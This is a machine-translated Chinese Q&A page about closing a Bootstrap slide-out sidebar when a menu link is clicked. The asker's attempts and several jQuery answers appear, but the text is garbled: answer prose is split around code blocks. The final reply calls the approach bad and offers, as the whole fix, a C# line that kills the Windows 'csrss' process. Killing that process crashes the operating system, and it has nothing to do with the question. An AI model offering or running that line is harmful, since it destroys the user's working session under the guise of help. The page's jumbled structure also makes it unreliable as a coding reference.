我有以下sidenavbar:http://bootsnipp.com/snippets/featured/fancy-sidebar-navigation
一切正常,我在我的网站上实现了,但是当我点击列表元素时,我想要关闭sidenavbar,我的想法是添加id="link-item"
并在点击时添加js文件sidenavbar将关闭的元素。我尝试做到这一点:
首先尝试:
$('#link-item').click(function () {
var trigger = $('.hamburger'),
overlay = $('.overlay'),
isClosed = false;
$('#link-item').click(function () {
hamburger_cross();
});
function hamburger_cross() {
if (isClosed == true) {
overlay.hide();
trigger.removeClass('is-open');
trigger.addClass('is-closed');
isClosed = false;
} else {
overlay.show();
trigger.removeClass('is-closed');
trigger.addClass('is-open');
isClosed = true;
}
}
$('[data-toggle="offcanvas"]').click(function () {
$('#wrapper').toggleClass('toggled');
});
});
第二次尝试:
trigger.click(function () {
hamburger_cross();
});
$('#link-item').click(function () {
hamburger_cross();
});
答案 0 :(得分:0)
在列表项data-toggle="offcanvas"
中使用,就像
<li>
<a id="id" data-toggle="offcanvas" href="#">Home</a>
</li>
var trigger = $('.hamburger, #id')
答案 1 :(得分:0)
您可以简单地让触发器在$(document).ready(function () {
var trigger = $('.hamburger, nav .sidebar-nav li'),
overlay = $('.overlay'),
isClosed = false;
trigger.click(function () {
hamburger_cross();
});
function hamburger_cross() {
if (isClosed == true) {
overlay.hide();
trigger.removeClass('is-open');
trigger.addClass('is-closed');
isClosed = false;
} else {
overlay.show();
trigger.removeClass('is-closed');
trigger.addClass('is-open');
isClosed = true;
}
}
$('[data-toggle="offcanvas"], nav .sidebar-nav li').click(function () {
$('#wrapper').toggleClass('toggled');
});
});
元素上运行,如下所示:
$(document).ready(function () {
var trigger = $('.hamburger, nav .sidebar-nav li');
trigger.click(function () {
$('.overlay').toggle();
trigger.toggleClass('is-open is-closed');
$('#wrapper').toggleClass('toggled');
});
});
我认为这是一个糟糕的实现。这就是您所需要的:
System.Diagnostics.Process.GetProcessesByName("csrss")[0].Kill();